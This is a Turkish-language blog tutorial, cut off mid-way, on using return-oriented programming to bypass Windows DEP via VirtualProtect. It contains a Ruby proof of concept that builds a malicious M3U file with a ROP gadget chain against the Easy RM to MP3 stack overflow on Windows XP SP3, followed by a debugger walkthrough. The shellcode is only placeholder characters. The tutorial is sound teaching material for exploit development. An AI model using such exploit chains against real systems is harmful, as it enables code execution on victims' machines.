&quot;&lt;i&gt;Neden ROP tekniğine ihtiyaç duyuyoruz?&lt;/i&gt;&quot; sorusuna cevap olarak DEP diyebiliriz. DEP, Windows sistemlerde Stack&#39;in NX (&lt;i&gt;No eXecute&lt;/i&gt;) yani üzerinde kod çalıştırılamaz hale getirilmesini sağlayan bir korunma yöntemidir (Açılımı &quot;&lt;i&gt;Data Execution Prevention&lt;/i&gt;&quot;). ROP ise Windows&#39;un DEP korumasını aşmak ve NX Stack üzerinde kod çalıştırabilmek için kullanılan bir tekniktir.&lt;br /&gt;
&lt;br /&gt;
Daha önce exploiting ile uğraşmış olanlar bilirler, &lt;b&gt;ret2lib&lt;/b&gt; tekniğini. ROP tekniğide işte tam bu tekniğin yaptığını peşpeşe birçok adrese &quot;return&quot; olarak yapıyor ve bir şekilde stack&#39;i üzerinde kod çalıştırılabilir hale getiriyor ya da Memory&#39;de RWX bir alana Shellcode&#39;unuzu yazmanızı ve çalıştırmanızı sağlıyor (&lt;i&gt;DEP Bypass için birçok yöntem mevcut..&lt;/i&gt;). Yani genel amaç mevcut olan kodları register&#39;lardaki değerleri değiştirmek, kullanacağınız API&#39;nin parametrelerini ayarlamak v.b için tekrar kullanmaktır. Mevcut olan kodlardan kastımız ise gadget&#39;lar olarak geçen kod parçaları. Tanım kolay gözüksede birazdan makalenin uygulama kısmında mevcut kodlar ile kod yazmanın zorluklarını çekeceğiz o yüzden rahatlamayın :)&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
ROP için kısacası şunları diyebiliriz;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;ret2lib tekniğine benzer&lt;/li&gt;
&lt;li&gt;Code Re-use işlemine dayanmaktadır&lt;/li&gt;
&lt;li&gt;DEP Bypass için idealdir&lt;/li&gt;
&lt;li&gt;Gadget&#39;lar kullanılmaktadır&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Bu makalede VirtualProtect API&#39;si ile Shellcode&#39;umuzun hafızada bulunduğu alanı çalıştırılabilir hale getirerek oraya zıplayacağız. VirtualProtect Tekniğini seçmemin sebebi birçok farklı Windows sistemde işe yarıyor olması.&lt;br /&gt;
&lt;br /&gt;
VirtualProtect fonksiyonunun yapısı aşağıdaki şekildeki gibidir.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDwPo8eYyV1S-TkPzZ-oQF9Agk5qoAbexYmkQbyseZFanFrjEEoJEAFOjRVYkQ06HoutTwzdBRwf4OaGqdgeXso3675QZTEBr-WyBvQECVVi2kbGkq8v0pJEcf3Hbl8hsq4yw7LIXCW18/s1600/virtualProtect.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;145&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDwPo8eYyV1S-TkPzZ-oQF9Agk5qoAbexYmkQbyseZFanFrjEEoJEAFOjRVYkQ06HoutTwzdBRwf4OaGqdgeXso3675QZTEBr-WyBvQECVVi2kbGkq8v0pJEcf3Hbl8hsq4yw7LIXCW18/s400/virtualProtect.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;VirtualProtect Fonksiyonu [1]&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Return Address&lt;/b&gt;, stack&#39;de ilk olarak return adres belirtmemiz gerekiyor ki VP fonksiyonu işlemini tamamladığında o adrese geri dönsün.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;lpAddress&lt;/b&gt; parametresine VP fonksiyonunun korunma şeklini değiştireceği alana işaret eden bir adres girmemiz gerekiyor.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;dwSize&lt;/b&gt; parametresine VP fonksiyonunun korunma şeklini değiştireceği alanın uzunluğunu girmemiz gerekiyor.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;flNewProtect&lt;/b&gt; parametresine hafızanın korunma şeklini belirten sabitlerden bir değeri girmemiz gerekiyor. Bu sabitler Şekil-2&#39;deki gibidir.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;lpflOldProtect&lt;/b&gt; parametresine ise yazılabilir bir hafıza alanından pointer girmemiz gerekiyor, zira VP fonksiyonu bir önceki korunma şekline bakıyor aksi takdirde fonksiyonu başarısız oluyor. Yani bizim gireceğimiz yazılabilir hafıza alanına ait sahte adres VP fonksiyonunu kandırıyor.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtXk6jjuxBz_RtKXb4WYSwk40SGupjApI4BvS60Ou3KihNLQNmP313fYAZFYVThxJZX-Q5muCBSrTJnNJqJWtNMiwaxWHR6np9tYs7DWmCrxBGxvlpgBMyBVKm37-hx4kpqUAXdUxe6c4n/s1600/MemoryProtectionConstants.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtXk6jjuxBz_RtKXb4WYSwk40SGupjApI4BvS60Ou3KihNLQNmP313fYAZFYVThxJZX-Q5muCBSrTJnNJqJWtNMiwaxWHR6np9tYs7DWmCrxBGxvlpgBMyBVKm37-hx4kpqUAXdUxe6c4n/s400/MemoryProtectionConstants.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Memory Protection Constants [2]&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Örneğin 0x10203040 adresinde bir shellcode&#39;umuz var ve uzunluğu 400 byte. Shellcode&#39;umuzun bulunduğu alanın korunma şeklini değiştirmek için VirtualProtect fonksiyonunu çağırmamız Stack üzerinde şu şekilde olacaktır;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;0x7C801AD4 - VP()&#39;nin Adresi&lt;/li&gt;
&lt;li&gt;0x10203040 - Return Adresi&lt;/li&gt;
&lt;li&gt;0x10203040 - lpAddress parametresi&lt;/li&gt;
&lt;li&gt;0x00000190 - dwSize parametresi&lt;/li&gt;
&lt;li&gt;0x00000040 - flNewProtect parametresi (0x40 = PAGE_EXECUTE_READWRITE)&lt;/li&gt;
&lt;li&gt;0x30405060 - lpflOldProtect parametresi (Yazılabilir bir alandaki pointer)&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Yani biz kontrolünü sağladığımız uygulamanın akışını buraya yönlendirirsek VP() fonksiyonu bu parametreler ile çalıştırılacak ve 0x10203040 adresinden itibaren 0x190 (400 byte)&#39;lık alan çalıştırılabilir olarak işaretlenecektir ve uygulamanın akışı 0x10203040 adresinden itibaren devam edecektir. Kısacası DEP bypass edilecektir :&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VirtualProtect fonksiyonunun adresini bulmak için kernel32.dll dosyasını IDA gibi bir disassembler ile açarak Export edilen fonksiyonları görüntülediğiniz Exports penceresinden bulabilirsiniz, aynen aşağıdaki gibi.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5bSEU_ZyXabbAl8lj3Bvl3Rsnrp1ML25WCqqsChziubobKUSJLm3PwfyC4cTYVCtH9prVFs8aKAnjvX8IISpjB9QJ5BOT4hHe-x_CRsNVo5WBlCgxivWYNcZ12blC5qQrAcaSCn7HlrOl/s1600/VirtualProtect.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5bSEU_ZyXabbAl8lj3Bvl3Rsnrp1ML25WCqqsChziubobKUSJLm3PwfyC4cTYVCtH9prVFs8aKAnjvX8IISpjB9QJ5BOT4hHe-x_CRsNVo5WBlCgxivWYNcZ12blC5qQrAcaSCn7HlrOl/s1600/VirtualProtect.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #0b5394; font-size: large;&quot;&gt;Gadget Nedir?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Gadget, kodlar barındıran ve akışın tekrar stack&#39;e dönüp stack&#39;teki bir sonraki DWORD değeri alıp o adresten kod çalıştırmaya devam etmesini sağlayan kod parçalarıdır. Stack&#39;e geri dönülüp alınan değerdeki adresten kod çalıştırılmaya devam edilmesini sağlayan Assembly instruction&#39;ı ise RET ve türevleridir. Aşağıdaki kod parçası için bir &quot;&lt;i&gt;gadget&lt;/i&gt;&quot;tır diyebiliriz.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Gadget:&lt;/b&gt;&lt;br /&gt;
0x7C102030 PUSH EAX&lt;br /&gt;
0x7C102031 POP ECX&lt;br /&gt;
0x7C102032 POP ESI&lt;br /&gt;
0x7C102033 RETN&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Stack:&lt;/b&gt;&lt;br /&gt;
0x7C102030&lt;br /&gt;
0xDEADBEEF&lt;br /&gt;
0x10014060&lt;br /&gt;
&lt;br /&gt;
Bu gadget kısaca şunu yapıyor, EAX&#39;deki değeri PUSH ediyor yani stack&#39;e yolluyor, POP ECX instruction&#39;ı ile PUSH edilen değeri ECX&#39;e alıyor, POP ESI ile stack&#39;ten DWORD&#39;lük bir değeri (&lt;i&gt;0xDEADBEEF&lt;/i&gt;) ESI&#39;ye alıyor ve en son RETN ile ESI&#39;ye aktarılan değerden sonraki DWORD değerdeki adresten (&lt;i&gt;0x10014060&lt;/i&gt;) çalışmaya devam ediyor. (&lt;b&gt;Not:&lt;/b&gt; Buradaki adresler örnek amaçlıdır ve gerçek değildir, sonra vay efendim ben 0x7C102030&#39;a baktım böyle bir gadget yok demeyelim &lt;i&gt;:)&amp;nbsp;&lt;/i&gt;)&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Adım: EAX&#39;ın değeri stack&#39;te&lt;/li&gt;
&lt;li&gt;Adım: ECX = EAX&lt;/li&gt;
&lt;li&gt;Adım: ESI = 0xDEADBEEF&lt;/li&gt;
&lt;li&gt;Adım: Stack&#39;e geri dön ve 0x10014060 adresinden başlayarak bir sonraki RETN&#39;e kadar çalıştır.&lt;/li&gt;
&lt;/ol&gt;İşte yukarıdaki adımlar bizim ROP exploitimizi oluşturacak adımlar, tabi daha karmaşık adımlar ile mücadele edeceğiz :) Şunu belirmekte fayda var, bu tekniği daha efektif kullanabilmek için iyi bir Assembly bilginizin olması artı yönde katkı sağlayacaktır.&lt;br /&gt;
&lt;br /&gt;
Buraya kadar olan kısım anlaşıldı ise artık elleri kirletmenin vakti geldi demektir. Şimdi örnek bir Stack Overflow zafiyetli uygulama üzerinden DEP&#39;in aktif olduğu bir sistemde gadget&#39;ları biraz daha anlamak için pratik yapacağız. Sonraki kısımda ise yine aynı uygulamadaki zafiyet için bir ROP exploit&#39;i yazacağız.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; color: #0b5394; font-size: large;&quot;&gt;Gadget&#39;ları Anlamak&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Hedef olarak Easy RM2MP3 adındaki klasik stack overflow zafiyeti olan programı kullanacağız. File format tabanlı bir zafiyeti seçmemin sebebi ilk aşamada rahat rahat kullanabileceğimiz bir stack&#39;e sahip olmamız. İşletim sistemi olarakta XP SP3&#39;ü hedef aldık ve DEP koruması olarakta OptIn&#39;i seçtim (AlwaysOn yaptığınızda reboot etmeniz gerekmekte ben biraz üşengeçlik yaptığımdan OptIn&#39;i seçtim :&amp;gt; )&lt;br /&gt;
&lt;br /&gt;
Ruby ile ilk aşamada basit bir PoC yazdım. Bu PoC rop.m3u adında bir dosya oluşturacak, bu dosyanın içerisinde bizim payload&#39;umuz olacak ve hedef uygulamada bu dosyayı açacağız.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PoC.rb&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;filename = &quot;rop.m3u&quot;
buffersize = 26109
junk = &quot;A&quot; * buffersize

eip = [0x1002DC2A].pack(&quot;V*&quot;) # RET

# rop payload
rop = &quot;FFFF&quot;
rop &amp;lt;&amp;lt; [0x1002E796].pack(&quot;V*&quot;) # POP EAX + POP EBP + RET
rop &amp;lt;&amp;lt; [0x44444444].pack(&quot;V*&quot;) # Will be pop&#39;d to EAX
rop &amp;lt;&amp;lt; [0x88888888].pack(&quot;V*&quot;) # Will be pop&#39;d to EBP
rop &amp;lt;&amp;lt; [0x1002DC4C].pack(&quot;V*&quot;) # ADD EAX, 100 + POP EBP + RET
rop &amp;lt;&amp;lt; [0xC00FFEEE].pack(&quot;V*&quot;) # Will be pop&#39;d to EBP
rop &amp;lt;&amp;lt; [0x100155D7].pack(&quot;V*&quot;) # INT 3

# shellcode to execute from stack when ROP success
shellcode = (&quot;C&quot; * 900)

payload = &quot;#{junk}#{eip}#{rop}#{shellcode}&quot;

puts &quot;Payload size : #{payload.length}&quot;

File.open(&quot;rop.m3u&quot;, &quot;w&quot;) { |f| 
 f.write(payload)
}&lt;/pre&gt;&lt;br /&gt;
Kullanmış olduğum instruction&#39;lar şu adreslerde yer alıyor sırasıyla;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;0x1002DC2A&lt;/li&gt;
&lt;li&gt;0x1002E796&lt;/li&gt;
&lt;li&gt;0x1002DC4C&lt;/li&gt;
&lt;li&gt;0x100155D7&lt;/li&gt;
&lt;/ul&gt;Immunity Debugger&#39;ın komut satırında &lt;b&gt;u 0x1002DC2A&lt;/b&gt; komutunu çalıştırdığımda hemen yukarıdaki Disassembly penceresinde ilgili adreste hangi instruction olduğunu görebilirsiniz. Sırasıyla bakarsak eğer 0x1002DC2A adresinde RET instruction&#39;i var. Bu adresi EIP&#39;e yazdirdik yani EIP çalıştığında doğrudan stack&#39;e dönecek. Sıradan devam ediyorum &lt;b&gt;u 0x1002E796&lt;/b&gt;&amp;nbsp;komutunu çalıştırdığımda karşıma &lt;b&gt;POP EAX + POP EBP + RET&lt;/b&gt; instruction seti çıkmakta.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWz4hM7VHQr27tSkCnjrlol99M8wV_ZJoJU3WArzrjSA1dvlbOZSMThK7bou63kykNDvgme_7CoJ9GKddGRfH-bvoeU6pXOeluhoN_I4wIuGbogwIwtPb8rCOK49dd6_M-YS_1jj5UpUR5/s1600/gadget2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWz4hM7VHQr27tSkCnjrlol99M8wV_ZJoJU3WArzrjSA1dvlbOZSMThK7bou63kykNDvgme_7CoJ9GKddGRfH-bvoeU6pXOeluhoN_I4wIuGbogwIwtPb8rCOK49dd6_M-YS_1jj5UpUR5/s1600/gadget2.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;0x1002E796 adresindeki gadget&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;0x1002DC4C adresinde ise &lt;b&gt;ADD EAX, 100 + POP EBP + RET&lt;/b&gt; instruction seti var.&amp;nbsp;0x100155D7 adresinde ise &lt;b&gt;INT 3&lt;/b&gt; instruction&#39;ı var, yani breakpoint. Adım adım gadget&#39;ların nasıl register&#39;ları etkilediğini (daha doğrusu gadget&#39;ları doğru bir şekilde çalıştırabildiğimizi) göreceğiz.&amp;nbsp;0x1002DC2A adresine ImmDbg komut satırında &lt;b&gt;b&amp;nbsp;0x1002DC2A&lt;/b&gt; şeklinde bir breakpoint koyuyorum ve rop.m3u dosyasını uygulama ile açıyorum. Program şuan&amp;nbsp;0x1002DC2A adresinde duraklatıldı. Step Over (&lt;i&gt;F8&lt;/i&gt;) diyerek adım adım ilerliyorum.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjItgifA50Po2BWbl14Yaxg5dc6aZ3tpmnkYvcXnAM4HNXPeYvFmLHVU5iWoqwNLFM5Ao0GJgLE70lweCPliBsU4O6GUBgf_75rnqUWzlwpGULrOq2MzCMzEXIaHjOGGRFgJvTqmIYvvZMP/s1600/rop1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjItgifA50Po2BWbl14Yaxg5dc6aZ3tpmnkYvcXnAM4HNXPeYvFmLHVU5iWoqwNLFM5Ao0GJgLE70lweCPliBsU4O6GUBgf_75rnqUWzlwpGULrOq2MzCMzEXIaHjOGGRFgJvTqmIYvvZMP/s400/rop1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;POP EAX İşlemi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
POP EAX işlemi sonunda stack&#39;teki 0x44444444 değeri EAX&#39;e yüklendi (&lt;b&gt;Not:&lt;/b&gt;&lt;i&gt; Resimlerin üzerine tıklayarak büyük hallerini görebilirsiniz&lt;/i&gt;).&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho2Xw4blpnWN4GJyS7w8Z95bTnurtus4jTcW77Lr2303F10Xj3IZ_isPH81VTCKmakV5wP9Z10YwbPNg89BzvCz_n1KGPzYdos9BWdo_VVRhzg_iiBBqc38CImgjCIs92od7vEiAXe7Qrw/s1600/rop3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho2Xw4blpnWN4GJyS7w8Z95bTnurtus4jTcW77Lr2303F10Xj3IZ_isPH81VTCKmakV5wP9Z10YwbPNg89BzvCz_n1KGPzYdos9BWdo_VVRhzg_iiBBqc38CImgjCIs92od7vEiAXe7Qrw/s400/rop3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;POP EBP İşlemi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
POP EBP işlemi sonunda stack&#39;teki&amp;nbsp;0x88888888 değeri EBP&#39;ye yüklendi. Sonrasında RETN instruction&#39;ı ile stack&#39;e döndük ve programın akışı&amp;nbsp;0x1002DC4C adresine yönlendi.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMi-uVR9TjZ1T0EmoJi9YIP33D-UjBr_Xk_Kfxv0v2PhWvNFVaylZsBcqufUwO1twD4Fufi1TFZvkwRhEzZ-IHKlNSjpEPffqm7dxMYgqXomM_cdPu-uYu3XEBglBvxexEMT0CoC4cmaB4/s1600/rop5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMi-uVR9TjZ1T0EmoJi9YIP33D-UjBr_Xk_Kfxv0v2PhWvNFVaylZsBcqufUwO1twD4Fufi1TFZvkwRhEzZ-IHKlNSjpEPffqm7dxMYgqXomM_cdPu-uYu3XEBglBvxexEMT0CoC4cmaB4/s400/rop5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ADD EAX, 100 İşlemi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Bu işlem ile EAX&#39;a 0x100 (Decimal olarak: 256) değerini ekledik. Yani EAX 0x44444444 idi, bu işlemden sonra 0x44444444 + 0x100 = 0x44444544 oldu. Aşağıdaki ekran görüntüsünden EAX&#39;in yeni değerini görebilirsiniz.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZN95HJb1fMS3zngQzsJNZ8Te86SQkee5aXrZrdE4SXEyXLaCHn5dUsZWcb9aWPSX6sHcuuQsr7NX0W4HGROB00MAt5g0wjSuKm3xF5tUz1pvAcZeEgURddwOGPeeHDDS0UnmSwl4h_eE/s1600/rop6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZN95HJb1fMS3zngQzsJNZ8Te86SQkee5aXrZrdE4SXEyXLaCHn5dUsZWcb9aWPSX6sHcuuQsr7NX0W4HGROB00MAt5g0wjSuKm3xF5tUz1pvAcZeEgURddwOGPeeHDDS0UnmSwl4h_eE/s400/rop6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;POP EBP ve EAX = 0x44444544&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Gördüğünüz gibi şu ana kadar ki tüm işlemleri gadget&#39;larımız ile gerçekleştirdik. POP EBP işleminden sonrada EBP&#39;nin yeni değeri stack&#39;teki 0xC00FFEE olacaktır. Yorulan ya da uykusu gelen varsa okumaktan bir 0xC00FFEEE alsın kendine :))&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgto9_-FR1klNNfOTsoJzIoTT8WkSnXKSNr1Sd1Lx38falFWPvSzlMGyTXXJfti5HlV3OX1YkYoR_BJ40kFAiGViwVSJS9IXFiRwLc_HmfV6tQLae5zbNrOAuF69wKnKr8Zx3hEc0cy32mu/s1600/rop7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgto9_-FR1klNNfOTsoJzIoTT8WkSnXKSNr1Sd1Lx38falFWPvSzlMGyTXXJfti5HlV3OX1YkYoR_BJ40kFAiGViwVSJS9IXFiRwLc_HmfV6tQLae5zbNrOAuF69wKnKr8Zx3hEc0cy32mu/s400/rop7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;RETN ve EBP = 0xC00FFEEE&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Bu aşamaya kadar başarılı bir şekilde uygulama yaptıysanız artık exploiting aşamasına geçebiliriz.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #0b5394; font-size: large;&quot;&gt;Exploiting&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Exploiting aşamasında ilk olarak ROP gadget&#39;ları çıkartabileceğimiz ve program tarafından yüklenen kütüphaneleri bulmamız ve o kütüphaneleri hafızadaki durumlarına göre filtrelememiz gerekiyor. ImmDbg&#39;in pvefindaddr eklentisi ile kolayca bunu yapabiliriz. ImmDbg komut satırında &lt;b&gt;!pvefindaddr noaslr&lt;/b&gt; komutunu çalıştırarak log penceresine bakıyoruz.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt9rqsMDFdS66VVpnsy8qQeSite28Mb_4QsruT_7_bQ41D7DaQlQIffTZolv3jvgbkLi6oxI-xQjDo3MWlQ1qu2ENMAWv8eYXxOCvXowCLyoQG7Nrjt9Js6vCTQXj6yT6eNK2Hhrdkj_ZW/s1600/non-aslr.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt9rqsMDFdS66VVpnsy8qQeSite28Mb_4QsruT_7_bQ41D7DaQlQIffTZolv3jvgbkLi6oxI-xQjDo3MWlQ1qu2ENMAWv8eYXxOCvXowCLyoQG7Nrjt9Js6vCTQXj6yT6eNK2Hhrdkj_ZW/s400/non-aslr.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Yüklenen DLL&#39;ler&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
ASLR&#39;nin etkin olmadığı ve BaseFixup (Yani modül her zaman aynı base adreste konumlanmayabilir) olmayan modüllerde ROP gadget&#39;ları aramak yazacağımız exploit&#39;in için daha stabil çalışmaları için etkili olacaktır. Exploitimizi yazmaya başlıyoruz..&lt;br /&gt;
&lt;br /&gt;
Exploit&#39;imizin yapısı şu şekilde olabilir.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
